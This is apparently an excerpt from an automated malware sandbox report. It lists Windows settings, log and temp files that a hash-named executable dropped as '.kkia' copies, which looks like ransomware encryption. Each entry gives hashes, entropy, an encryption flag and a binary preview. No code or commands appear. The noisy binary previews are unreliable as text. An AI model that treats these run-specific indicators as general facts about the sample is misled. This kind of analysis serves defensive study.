Preview:	regf.b..}...v..i..].9.N..S..t.B.p...<..t.nu.`e.5J.W...; M.\~. ..<...J(%E.Q....+P....!....:....-J.U.......^wx.S<m..\|.z...+\.....>.......o...I...J...?.."...Kz........hTE%...#.(..'.F......C.T8....M...o..r.B..G...]T..2.h../9<1D..p.<%..).........?JF...w..z.lcy]6>.&i+....i.F...v:.".#.J..z6.....e.WE.u......L.~.`.e.#...k.k.cc...^i.+Y..y.e. .Eis%6[`.#....V..7p..o!%3o~...&..K....B.....\(..G..3.#.$.?.`....[uV?.NZ...c....wX.w_?...3"..)R..A..o6r...N[.g....a...x.l^....J:..<T,.$..a....X...;AK.P..l-..5o.*.......Qh..$P_......\|r...).4..(g$..S.@.#.N..]......W.l..uT.l.h...^^....W...G.'..b...<-...\|....\|.#r.....e.....q........W8....$....a.s...4.o..u..."..c...,J=XY.Io5.....l5._.T.i...Jz.9..<.+..O..q..n @.......Z..M.B)1......e....aN@.G.%...[.'..f.S..W%bR.k.r....k.....D.._B.mwV......?D.....U......~ .....z....I&.U.V.I.@>1....../.2..k$...7.L.....7..,..9Q.u.k/\|.:...].....~.m....4V+.H.../0...vQ-..<.....P\\|]y...d...C....p;F?.....E......'..MP...^.5m..kU..

C:\Users\user\Local Settings\Packages\MicrosoftWindows.UndockedDevKit_cw5n1h2txyewy\Settings\settings.dat.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.976539214970183
Encrypted:	false
SSDEEP:	192:9VTDjZz3hXb+hTfMRe63NBcPKISx+1LMtKivY0W8AR:LDZz3hXb+9Mj3N+PKIB15PXFR
MD5:	28AF3996EFFFD8ACE9B2A5AD61F43DE0
SHA1:	BABB874872D6AAC6FED5B805A8E7EE89970AAA16
SHA-256:	1C6EF7FB01D90E5F2D640CF1D340021575462FB7EF8B40AD4B1F7D5F992F4509
SHA-512:	66BDE84141C6BB568C04E4A96C5A08A2EBC41B0B25B2A16F06D565F8B14751F5938A9BCD800799CAB81D5DE482845217C2CA3FE8CD700B74FBD0ACA91BFF588C
Malicious:	false
Preview:	regf...5R\Q.~....V]_}.(_...C.......5{....-.fX.C.A......WXE.&W.d.d.K..P".d...\|... ...W...p..C.......Sz.h.)[}....U.....b.;.Q.dg%..9"~..`\d.O..&.>.?..o..d.q....v..c..D..i/.K........V..q.....Z.F..B_p..j.+u`5.+c1./..w..`{E...A..@.....w......WFn...%q...-.B{..c..QD.#..:[R.;..mp.......Wc..u.d.v.d.Kq..4...F..oD.VJ}..c.N.67#.j...0h.bD.=.-..'.'.v3TBT.VX...!.`......v.?Ad..&...r..e.).I....P.K%...f.0ii.Y....{..k1..M.N.^.B.^~...TH.=..7....d...{A..CS?.{...k..c...Q/OK@......S....).z../.Iz....bOI.....Hy....3[\...)."8rn3,2..z.b.n.9.B.A..1....~c9,./2}3...b.t....\|._X.16..Yb.q...\.{..........mN...h.8..gG.{...$..i........9]M...aO.......O..UkK....#.qM.:.Oqji....`q../.H.<....e....@u"o:k....=U1..xj".......A5...d..rQ...J......H.g.......M?P..:.......'o.{]]F..O..d.;.j......[.q/ #...70.....Zu.L...1..w...u..K...n...x..2..P..8...i)...m..*.i.].B..R...a..`..Q.c.z.C...f.E=.O.EMW..BS..-r.:0..i.Aq..o..2..'.uX..6.U.&..&.D.....)&...@\|V....p....A.x..0..._......."~/hx..N.X....

C:\Users\user\Local Settings\Packages\NcsiUwpApp_8wekyb3d8bbwe\Settings\settings.dat.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.975793776157043
Encrypted:	false
SSDEEP:	192:sOamStWTfHjz+h7FVE8hCMf4OflWMlKxZ958Gj0b2f9:syrTv3A7MZwlWrZIGLl
MD5:	4B8A7C91D95D7F3C70F01E736BDBE20B
SHA1:	B839DD4C244D7C895816C702293C5A2FD59966AF
SHA-256:	A4E7BD0628F6EB292680B1CF4CEE3AB724B46DEF8DD880ADB2759F0978910C77
SHA-512:	7E2B3CAAE05F4084DA7F63F8E86BC57FD545C578530B2AE727E355556784C3EE84DCD997BD8B07F7E27FB79E646BD5AC99F4C198EF33E68DA831F3D33123BEA6
Malicious:	false
Preview:	regf....z.r..\...\|.u..Q..d.B.r.?...X....lQ.(M.y.c.D=w{.}..A....r.~wd.CF.KD.pS....{1...i.5STZ)R.fc..<i..C+..q\z...;V..-mB.@zt. ....C..F\..S....)\|.).~w.@...d&..z..8.i...s..F..?..^.V.2.D...:Z..er<......^..N.....h....m.....^.......8G"#..p...@...>.(G..e.x.V.F.1....2....3.KG.+..-..Z.7.....u...2nl......8d.....~.!.......8.._.BR...e...v..D..R.Hy.D;....:7}.......D..77.J.OC.;`.L..&A..6..L..F..RFjW....$.}4.y..$4UV..l.v.3....A.0.c@...i.....f...9.9kR....6.\|.>..o.....+...^.Mg.D.........~........J..n.0.s....4.&......n7z...(i.~G..=z3J.....2Yma.^@.n...".;.....Aw.]<...?o...D..h....2i.7\|.\o"..}..f...9..N...#+..M5g..._$..8.$..d.$..z..X.....2%t.sQE.S.^..p=@.....O...E,."..U@W.K...n..........F.$8.]c.]O.H..[o.{?..H.~.4....}.r.0.e.[...haN.fO".QX.....mC....Q........S._x. ...`oe1...CwI....E...\|:!o....KTq.H..+.>../.....\_.6.u.(.f!.`.H.m....*fv...O.......&D....''?...2...W....KQ.52.....W.ZZ]..Y&.........7.?.e.}..z6...>uo"E.......g..y.. ..,.._...yp.Y.&-.b..&..!.aSV4..

C:\Users\user\Local Settings\Packages\Windows.CBSPreview_cw5n1h2txyewy\Settings\settings.dat.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.980076465258322
Encrypted:	false
SSDEEP:	192:dXtHa/giJMzvRcNghy1/JqYXC24eahOcZIRMibjFUS:dXcJMB41/EsOuOY6S
MD5:	FC06377AB7BFE8CE88B8916079E0EB2E
SHA1:	7D8B67F17A0110052C1657534239E307ECE3C992
SHA-256:	9DF46362FB4721ECC38ED41B2C039114241344D37D40DA61B796AAEDA06450B9
SHA-512:	29917F605CD727B7685E5459D1AEF12ADCFD49CEC32EE68C9EA427F56A133EA09B9CB78EF1DF8529095559DB1EF2AFE15E4A84393F379BECB44DFA507CF8C62D
Malicious:	false
Preview:	regf..WA...q.v<{@..$.>...q'......U.....b.....{iD`...8i./..2.^..........E20...u....;..m.kU...8a...\|.@....T.$....<.<.S..N.w:.`...eDJ......;L.w....oR.......COr...G/..p.....B.e...f.C` .L3w..\.t1O.=t1.>..d..6.z.g.o.....Q.{.R.....t.:}.:....A'l_.DUn.8 ..\|.F...P.......c.C.5.<$/k.\|.k.H...p....$.56:.FB.ZI..9fK.9C..ft......=.?.....MNY..I}....?][.....\Y....}.7..}..[<...o../.c..0.'.V]....-.....}._.`rLDHs.........,....$.GW....A...:1E..P.tH(q..^%....y.B....BF.WB...&'.A.WT.).!)We.C...L.~B..!......Q.....2i...J.C.(..)...k.k".....+.......{@N..D....#.......%.J.=p.e^9`..O.p...\|\.o......&.Sh?.........u...-.s......J..g.........M...!..............W).kM.>.............u:/....8.....8.......P.4>.....Jk.wn!.N.;2.I......b.f...Vz..=...6..`.J...KV.k....6..6r...G..m8Of.2Z.,Hl].A7.Cx......2g2B.]z.A..{.L.BR.M...E8...........J..~.......6.8.IO.x..R...t..g\|.#.....FSA.?....a.J..7k...jz7.{.-.i.........~.{.z.w....)i:f\.]..E...?7.....Ss.rS.v.....n..e:!.-..9..s1..b.x.D...

C:\Users\user\Local Settings\Packages\Windows.PrintDialog_cw5n1h2txyewy\Settings\settings.dat.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.979699349724069
Encrypted:	false
SSDEEP:	192:TZ6o7J6+tNPwNJGhhSo93AhPY7VdxUm7kMAIV9R:37NsJGh7Eeb77ZVX
MD5:	9652CD8F0367740A976ED164BD8A19AE
SHA1:	CFF0CC404B936B78DBD5BE1637E210A2111FE3A0
SHA-256:	1422F8872F1424E555E42721599D7ADE879679A59B18F886A7576CAFA290F038
SHA-512:	B4E106C7BD3502E5BD0680A0289F983C8EED69FDDBB5DAEE4A426A95E323058E3B8CB6F6D581C55D30362DF3016CBAF8158ED3BB4A6DFB8EFCE8606A0F2867F6
Malicious:	false
Preview:	regf..........L.....!D.i.H..q...r..........g..Z..R..2..2.6....&...aN.j.....EBI.k....a/.2]....7.:.....X[bw...h....F.).Y.I..jY{.....T......R........4.2a&.......2i..R..."G:... V.....c...v:....V....rg.r.D.......8......^..D.....l..hj.......cD.;..mjb..\^..Jv..5<o7.V..t...uh".0..9...."A..................?d...qT..).3c5D.c....8p.1.w....<C..4..[...s4k.?..U'#........LA..?..F....?....Q.D....ql..R./#A..x..DIZ....Y...>\|.J...[...`.h.Q4z.n.=_..i...Ir...E.lN".upl..B....(......_l..Jc.<.6....h.`._..l'.9.W.p.F.-..Ngmk....s.a......2.t.xw....4...E.....W.....p...q...'.......H......e...........p.9O5W..^.:.gD.m.\|.\|.7.....N..O.T;M.1.eWjO...-.d.g....,...N..V.....b..D.A4....+............dV....!.1.b{...6&.]MK.5]T.<*w.`W..f........K.w......\|U\o.\|..6...p...ac>.a....C.....mR......F..8g.&;Q_.k;s..9.+\|.8z......;.X.[.8._......zg......,{.5.....C..'..o..((.4.P.2i...o....#.Y.....C.Z$...........<?S.8U..P.4_yr7,>....^..b../Q:.2.t."....p.<....+...@.$.A.Oo....\|s.j.S.....`[.

C:\Users\user\Local Settings\Packages\c5e2524a-ea46-4f67-841f-6a9465d9d515_cw5n1h2txyewy\Settings\settings.dat.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.9807660344252485
Encrypted:	false
SSDEEP:	192:WHLa0WUOJ7yWogo+E1/661McC50OuDtJ0TzeufCqWmw:YBWlJ7yAo9B6XcC5yM2GCqWH
MD5:	F005F740472C93BDCCF65DAA58A88D24
SHA1:	AAE9DCBF799EF2CD39EEE4BB3CC8271BBF284FC7
SHA-256:	CCB610A9C7E1CE3D7194B1B6E708A3AC459D3E9210ADEAA029EF02D3B41491A8
SHA-512:	DBFE0201F5EEEA3A20D917BA17DC12AA0553046389CDB814C7AC95CCB59DBBE211C3154614F26093698F1FB67C41FB2D099D5BEEAAC8FC0B8E0D097E5F15698C
Malicious:	false
Preview:	regf.F.QiQ.@E....$...g).Q..<x+Q.W.......r..~cv.U.cn...f.X....&.8...Ok`AV}.b.jC5J..]4j.Z.ZK!..}.J/..b.zL..8.^....C..^&.c..y^.&^.pU.+...G[{m9.}..}5......M8...A.........b@~...?3.....t.g..).......).)y.........D...3....I..y......H..C..k.i..}....R.....z0gs;w.@.............V...r(0.>;./V.....8J9..{h'....y..+......\....u..2.f..E....d.-....A.:P.FU+....q../F'.J...H.>y..B.I.:S..P..F...........{...j..F..N...v.w....?Z.....'......Y..$X..z@....L8.....#..j....Ccz....w.i..c.s..$}..`vT..$Q....X#A..:....fF..X.?.......B.9..ip..+.r...b....@..v......nV5.9..#[...\|s._.........W^.%n.c..Y.....9.=(.x......"...\|...C*..&...#...ei.....^xr.hV..7..T.....b..j.....c...K......j..R...!6..`8$J...~.$+V..ep5.b..O..................h.....l.6~Y s......../4gQt....k.e.GX.u.pzq..~y.L.G-l.....[..^@.....`..8.y.Z.5.a.........B...L......M...m........<.V..I..h.%lP.k......,..A..3....W".....i......;4..n...;Vo.J..Y....4..........J.....iz..w.'Gb.O......In5G.D]d...fAc.Q=.'."

C:\Users\user\Local Settings\Packages\microsoft.windowscommunicationsapps_8wekyb3d8bbwe\LocalState\HxCommAlwaysOnLog.etl.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	65870
Entropy (8bit):	7.997129785583573
Encrypted:	true
SSDEEP:	1536:TiW24cK+o8XIZTISCrz0qmzDk2QO32Uy99Oxejrh0Uj/E:Ti4HISCv0qmBQgyWehh4
MD5:	0575CCE2229201B35E53AF24AFD2F0DF
SHA1:	3BFDF6B22DA12FA74E768444A8012F2F777757E5
SHA-256:	1F055C7E30140A46CBF1D7EA4C2B60435E575E0784A986CE6B256BF5FF5E39F5
SHA-512:	9CCD19AD7CC5D81B9C712D38989958BDD7D432FCD819583E86AF77C8E818294B1929384E834F2085886EACE58578803BDA81B155535DEA20DCB5F6FA62D13327
Malicious:	true
Preview:	.........Td.;.(..c...:B........\.2.[0......l.#T..9.=.2o.........^....B....2.#....1.fPy._....v..+...q..-......L0...u..7ZNK.R:.E..g!.f...a0...<..VeP.e......]<....@u~..&..z.....&.......Oy..0..C.V$W.;lf.F...T.N.F..o.S..+3^.bok....t.o...o+.&..1.......!~!_...\.......;\,;.m...N}...]#.L.Q.uC...z.8K..^.CMbhI.E.....s..F..r.~S..T..<.... ..h....f.c.90.9.T....0.M..GN..<.K#?P.&'..#.1../P..o#....>..JP.y.n.2.:.n...qEl.d.Y9U.X..]!.9...A......3.U.z;.0Vz.,..Do._.....$-.).. ..i..n..../2e\...;-k...g.=.6.".u$9.b.+...B.L. .(....6..ft#...XPi...I..{>..2..@....Q-...E;.r..w.p;o.sZ..n?.6s...L.on:-..,m.VU^..<r.}9..^=....o.-.&.5.....G.....T=.......s...#.e.<f}.....b3.A..r...7.+....o...p..T......F"..&.....'.\&?.....W5..y.0.y._...5d....i.t....T..=.O/.)c......\|.:......f..u@\.,f]\|A.}.u..ty.......d .3..f..v..z..G....V.f.s.....O............Xd...U.V....e.jV....../j7..V..s..>.R.mC>..a"...r.T..j........~...@.N..8k...wu.4./I..u.D......B..L..5<..t.N....?HB.....7%,".5.

C:\Users\user\Local Settings\Packages\microsoft.windowscommunicationsapps_8wekyb3d8bbwe\LocalState\HxCommAlwaysOnLog_Old.etl.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	65870
Entropy (8bit):	7.9968306922783565
Encrypted:	true
SSDEEP:	1536:sq8tvpqUUia6FORRfP6DfeWqjf3hg/TjvY+:s/eji9F+RXqqjWjA+
MD5:	C93B2D9A1DE7B044B72279A3736103BB
SHA1:	D8EC5912E303EE961C2216CB6D93D24875AB5CE2
SHA-256:	157CE39310AC29E1C5E8C47D292A2FEE8DEF2DA547FC1AEB68945F3CF5B080CE
SHA-512:	32425718CDD796419C3B1EA85D5BB4809445D06ED668D322E27EAD18374930293BC9E8C35E783F74BE86879241080959886A23BC8EFEA4808A14436A7A1ACA49
Malicious:	true
Preview:	......M....0....A...J..//.v...Q..S...zi.F.h.Bx....!.D.Y...b....B......f.0...R.........P.L......J?..'..R.....]k..5t.g./..='I...?U<-&K......f5..c.).uF.....7Fs...n...d...$.b.....itS..{rWJ....nXz#.../r..l....Nl.._..../.R\|.BvI..8`..=.......6....{._.......1.)...^i.....{B.o.V...j.fiVT.....xw\|.1s....y...<...]q..0.>.....<0.....]".........2.....e..6.).~Xh..k......@....T$CB.,.LD......"y"4.J..;H..O.m...x.v.=23.....z.B...QEl..6.D4q...<...W..>6h@...U.R.....:.u..8.,.'G."S.o.b.{.Q.l.w!...A.[.B...\|[?h.^..l..M...c....z......r.w.....5....;...5......KsD...[B..^...7..PT..T...]Le.....c2..g.....=uC.7..s.............=.0.6.{.... .Rt............H.X./........W.2...(.~2.!.1..aL..._.>....J6.uC.4g?..r..\| <......i.M....h....e.HK.f'r=..e.._....@..08B..<.2n.}..#9\..\|..7.....5$..C....p.Dm<~_..,%W.y"O+.. p....TJ...%\|...}W.....~.F.cp... ..........UDh..&....<7....z.nj.7.....H..?..f..Or+r...*D......F...V.3.). ..YndM.<......S3K4..X..R.\.Gy.A.kYo:XZ.....

C:\Users\user\Local Settings\Packages\microsoft.windowscommunicationsapps_8wekyb3d8bbwe\LocalState\HxStore.hxd.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	4194638
Entropy (8bit):	1.3116921521620322
Encrypted:	false
SSDEEP:	6144:h0LOBsIX0vALXIy9i57Wze6+LmEckzn2J:aquIiWXIy9jxCmRkT2J
MD5:	040FDA7F06EEDAAB4A51A65317849C1D
SHA1:	A8912ECE698499EDA7EC9DA67D096AA6A5DB4CE7
SHA-256:	FFEC1F702F9AB54C1C113B00B779AB08F5C3C6F38BE76F077063D9B6BB60B54F
SHA-512:	843E288B241420EDA095D964359D9E8D44EF95EABEE574C0EDA54CA880DE4E3F65EECC4C617817BAD5FA8AEAB4A19DFC3C10B4EDDA1FC70233437EF04AEB77F0
Malicious:	false
Preview:	Nostr..l.....r..z...L.R..x.H....l.Bp/.]7f....3...e..7...I....x..........,...Q....}...Y..f;...............T.S6.`.BU..6...l...1.p......Q9...9.]m..........y..8..Q..:.`.E...D....s7......~..g..<..1...,..2...Ei...-.'......xa.Nc"......I.)}..Q....R..ni..%..m..9..%.],.B.5Cp...W..(.]..z.\.O1.9..).t.FKX..)...aD.o[...)...t^.gw/o.d...6...B.O..<3.....X@..L..R-h...6=.~z....8\|C..s}r.CH.Du...%6....(}/.j.U...7.z...0.7Ds..%..x\2.\|....?#v:YX^..."..Bt.o&..zu.^....16..3...lnI.$...>..V<'.j.R+...$.:<..Ng&w...n.....9+V..H...yy.ND.....}:h.D[.i............_.._..).i.p..Dh..]c)c>.T._.b.x.&..QTa.\.i.......ta.....F....?..-..p.'....3...d\....z.".5m./.b.U;...`w.1...g.h.Y...r5e.3..(.....d..1....".~.g..?e.......g.%).,9.;X.....l.Fq.L&.kB..........\|.......;\p....(DY...t..%...i0b...."...mh.......ZNA.....Z..\|[W.R......8..a....q..}C......AE.jIw....,.)..."..H..x.b......>..n.I...o*..y_....x.....PLw...X.....m.?.S...7.n:....3C../5.o.....>..K.....@r.+..Pn$.....v..C..e.,e..nq!.7.

C:\Users\user\Local Settings\Packages\microsoft.windowscommunicationsapps_8wekyb3d8bbwe\Settings\settings.dat.LOG1.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	12622
Entropy (8bit):	7.985312678038478
Encrypted:	false
SSDEEP:	384:jLLUCUpPcPr4DhcfbWlgHKvdfp4epw3PPYLcbE4mI:jXzsk4hQbukKhpiPPIN4mI
MD5:	958E2B73A99A115CA64EBB622C13A5F1
SHA1:	FBB8101A0221DB9471890F5AEEF475D5C506A4E4
SHA-256:	9FFE93EB9C53FEA623E72633BD473309D79E87505080883CA1184BC32A9D0EE9
SHA-512:	185673FE66A33CF802E9547687B9D751C1E9145AC02D9557CBAC1CED010DE27B2E9B55A31D52BDE7FBE9656E604FE2A11F2577C4C695EE4CA15029C0AE6A2D83
Malicious:	false
Preview:	regf.%.Q.<s.rl....#.....m.0 %..e..s.!.+.B.I..k{....:Rl.3....BX..q.Kx.7.Yq...M..OzK.v...r>..#...d....B..B.\|..$..+N..a.$..d.,6.m...^.....N....Z........{....V.....(......%_2O.A..}..7.p....y.Vn..^..a.p.hm.6#...]y.......,..a(U..;+5...6z.hw.W.........83.\v9.x1.A..@.wFM..IjhS.\a..0)f.z...L..\J.PZ....X%..7_..=S..(.$.2.B...W.D..&...z1P.....s{..m.3F..?}..7...1v../.C.Gp!..L-.n..-n`../`?.......?R....k..!2.-~......%Y........s..:}.b.sg..g....!<....f.m)..)O......w......jCe.{I.=.@w2k..dh%A..;..........7.A.X.....1.M!.....B.4......-M.\|YN..F.7.\|.C...^..K.<hcl3..z..S%.?~....b.j.4...0.(0.v.,....4.G....Q-..mB..@s.OG.}....f..w........gc.Vd..:.n.....po.?.E.Dbo3....d4.-93.n...T....K?..}m...d.b.5.G._+8`.+.../...*.c.....0Y`....n....>..D-...S..=..[..a....o.e.Q;&.V..<;301Q#.0..\....p.....+...0.9.........~.P.i.....d...#.v..I^_.=.F.p.VNCv.6.h.)...k..i...h..m.~m].0....'.XN..Z.s:tm.-#.{f..94...!:....[...AM.O..P.c7.....p.G.......&d.\|.i.....n:...PUr$....h,)Z..m

C:\Users\user\Local Settings\Packages\microsoft.windowscommunicationsapps_8wekyb3d8bbwe\Settings\settings.dat.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	16718
Entropy (8bit):	7.989604047088523
Encrypted:	false
SSDEEP:	384:/FN/OLF/gQFtXoM/AhbM4UeO9MCr81riwWx3Rm4/p2lghzSOkX:/KFgQFtRaVBer8161RmSp2y5K
MD5:	7D12F62CE9AD8BEDEAABBE713A9F794F
SHA1:	3D7FF27073B086DA92B309DB3CF7512CDCECF4A0
SHA-256:	2E5C98E22F83704B8565DBCF507D951E82F600F16D0943422E5C66679E3A30CB
SHA-512:	54D29D8E169DC4EC7E16D93D0E35BD608D6FF4B1ADE59CC2D1C3D5A8454D3A8052AA0B3426BD3703D89F39919435583B07B56A2F261F209741094C4927B6AC97
Malicious:	false
Preview:	regf..7.K.?....bP.9..t....z...7.d..>O..3.%.......Zw..v.4....).HY..g...Y.....e......5..6..+.9...1...u.w....tq.p.......N.#K.......RK;......@[..:.6..E[K.....2R;H....[.8..p...~?.....~z...\.2..w.7..A..S...$p.g....`..L....H"...FT..n..L..g...IG.F.j.L!(.J]......._..T.>H1...+.)...wa....'.OUI.9....3.7.....B.@....Ms.z.A.C=.n@.....sR.....e.n..\|...~....c..>+P .....n.......c.].f.y....= .\|.".,d.s>.$..v._..!..{......&.u...ze..v..N.:......".+..OY.......=hR.H.H'..`.....$w.s....4:...$.`..D.....V...5.nj..~nX!5..2%.AXr.LS>...{i..L.yj.$.....P>'7..!...-..YkW..-aO.A..q...s..O.....Q............%.#{.C..\|........<I.....e-....s....J....;..J.jq.s....%u..4.s..}.W]5.9.:<T......$.d.!.=u.NbJ.t}..A....ai*.wn}..Hu=..w..........k.l..g..L..e....XqJ._L.. ..+ k^.+.q..2.....'...H/X....Y.........8..G..4.a..3.[...lD.2.b....y...Yf$..iV....1..S}6.cB...@..G..,.M..M.1......8..d6g.$.....u5.%.h>#.8..,>...n2.9.i.Z..H...u+s.Pq..7.9..._.z.!k$E...[....c.c..}......(..;.\...bgIM._..Y@.H..

C:\Users\user\Local Settings\Packages\windows.immersivecontrolpanel_cw5n1h2txyewy\Settings\settings.dat.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.977083652036515
Encrypted:	false
SSDEEP:	192:bnM4Dm6s59eRx/k3sT/muN6Ol0PUuAzdggO9Z6amGpr:bMdfMx/E896r1AZOZ6a5pr
MD5:	EC705BDB01032E2D9099EBF3AA757752
SHA1:	DC7890D7680CCF1B3882A23A26B3465FD29A33A2
SHA-256:	C9536102970C8344C2432124F2E92925FE2C5EA12E169F92BEAF94BDCA38218F
SHA-512:	1A7F5DD3E8F4F1173B871871D7055C2E3DAE381E4E414EE031FD2E0025377A3CE71017A2968225739001616523A6171618273D1E7C57B562C49FFECC005B93CD
Malicious:	false
Preview:	regf..@<.../Y,_....H....B.$.X.Q;.q..ww...yI.=.4)..F.b.....u..q.-.3rkF..dl[..%..t.4.,Ge.n...O..%!0...M...;....y.......&S'j,.<.uU..$./..&..B.=..J.V-..0..+_.gA.FFb..K.f.Q..U.n....$..... S.`b.4.t-..zm...r.m.`...F2_.@....?%.}..l.@].....N2i\#...kO.e..Q-r"...M...[.tS3..?/...P.A$M...#_`.7..b.3....R...R.<..nV.d..........~i5.H.6.U@....F..?.....kD..&...?....Z.0p..k\0Hf....f.V...+\|.4..b..\.k........P..D...VB..Eo.].....s.A./>`....0.RQ...i3..K...2.6W.<..{K..,?=J.2...K8...\|...q.J%C.mR.s.'].8fH.[.'.$.h...g.......N.~ ....v....1.F.q............V.\gf..0Ju.mr....1Kz.q.........q...j..k.1......A.D,.ck3....f........r.y?d,Q..U.(I.(..\.j.\|....'E.n.%...v`,....;e{..B...V...h....u./L>RE.....jS....y.z..9M.`v.B.D\..r.o....E...~.4p..^}.>#]...Q..\|k..c..].i..C.y...<d@..J].....r....U...P.A.:.'..(-.u.G....7.o.A:}...8.K..u....Xi/..2-.om.*N..@......E.[~.D..O..g.....P..E.^...7R.Q..M@)..).......N.J.0LC.8'.G1..M`...I.u..J)(.p.:Y..._.J....v.<'..ta...t..kX......M.5...O.;...T'...m(.

C:\Users\user\Local Settings\Temp\.ses.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	387
Entropy (8bit):	7.230937804711484
Encrypted:	false
SSDEEP:	12:305Aiuc3fBbflhRdyHUq91g5pfLayiXPKIk+Prgcii9a:30AgbfPGH7WhUkbD
MD5:	B76F311286EC8F428A22EB3FBBFBA2E2
SHA1:	C924A4BBAF88F7FB96DA1EB671370DACEEE487A6
SHA-256:	1C4737769AE478C26C17AB4515E1AAC7320EA58C21F8C00DDF0405C6B7C8CDF2
SHA-512:	FAAC0EAE29D7E48FE1C152A1525296E7991B329DAD447B94FFA103E03B365C31504F1BA44F990FECA43DADA44C57445E5398AFA98006C19AAB9EF9350C8764DA
Malicious:	false
Preview:	16965...9....El//...g..M..t.p?Q...$....mvm.?..D...Y%4`.......<"..).0..%....rY`.}........P>.....3....*....\0....r.Gx..s9.!3...\.>.0..[9(.2].l.(...8........U)..1.yTv......A.....j._...s...zs3.\|......u.8;?......O.z...lm..../.(.....<X..y.i..4-.G"'.....@...03.z?.k..~.Q.$.......Q..U..Q.X........y.dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Temp\18e190413af045db88dfbd29609eb877.db.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	24910
Entropy (8bit):	7.992102596158
Encrypted:	true
SSDEEP:	384:Ma6XG54EXeztd9NQkG89+0FFTcrDZm+lkk7r63QFzDtSm0kuPj+6z63NwXeU8:or9NNFCr9m+Sky3QFzBub+6z98
MD5:	150CA67A5A0E04B87B7E3591B70114DF
SHA1:	F4CD2290CC88D3A0381D2DF17BE709B4778E8F7B
SHA-256:	CD2B2F458E36A871C7557B433855CAE0938DD971E0D1E5A2F61677BB405FEA54
SHA-512:	FCD429B4DDC3506521DC894212F7C03DBC84DA74FA113AF1C6B41A73E69B02771E6368929CEB21CF3AF6ED2AB6E5540F0CAA576D16E2C59905638EBCC4CD8A50
Malicious:	true
Preview:	SQLit!^n_.......L.f.BrJ.s....B...D.<.4k#.+....>.....E.V....k...f\|u..~.!b...D.. ./.......1....xl..rc^:w.B.....M......F.+...H..J.&....'.Q.u.3.D."..a.s..q..G....".<C.HZ..I.. l.y......I..V3.>FMYi..jX....k...D..~.......=...\^.t}..,...{F.Q.n..\..9.n.Kf.g....3..mO.%...-....F_.B.akM...q...R.mp..k..q...N..j.#^...Cy#<.J.L......Y.. ?...C..J..2]...N..K...'..........7......@...j[!....~\|....I...O.?... ....B........uL..............T.....gd. 3.o.....<.!..5/..R:.....f^'........^h;#:{&...}8.0......0..,.y{e......9a....Q?Fs;....:.......\A!.9....Q9....u..~.lM.s l.....+..5.......r....$f...(.$.>Kvp..&.C......C. ...I.R.pL.^....~toi..=D..%.p.......f.u.k.<4_ .S....g...H....'+...<O..7.;. \U.C...b....y.8.3.....J].bM~.z.0..oohk...67.`qF.wHv.K.%7.33t){.a..U.-}..R....O!=).....D.`...p?].t..$..1....x.U...:.f$z.>819.+.{.zq..q..#.....X.y.r)u.4....C.ZgGuP.,...E.>......kx..^....M..q.<..QC..X.W.4tb.k....t\|!....Z....U....G...e.~j.....?......\..r+..SY).....p..QPM...Z..c....Cd

C:\Users\user\Local Settings\Temp\18e190413af045db88dfbd29609eb877.db.session64.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	66542
Entropy (8bit):	7.996823416333042
Encrypted:	true
SSDEEP:	1536:PfnPsOU2EC2HbTrDOCGQeN28A7CraC3s1YcT7J4C:PXsLlfzyCDGqEaC3s1Y0J4C
MD5:	3480BCD70A7D487E6E313E616D0763BF
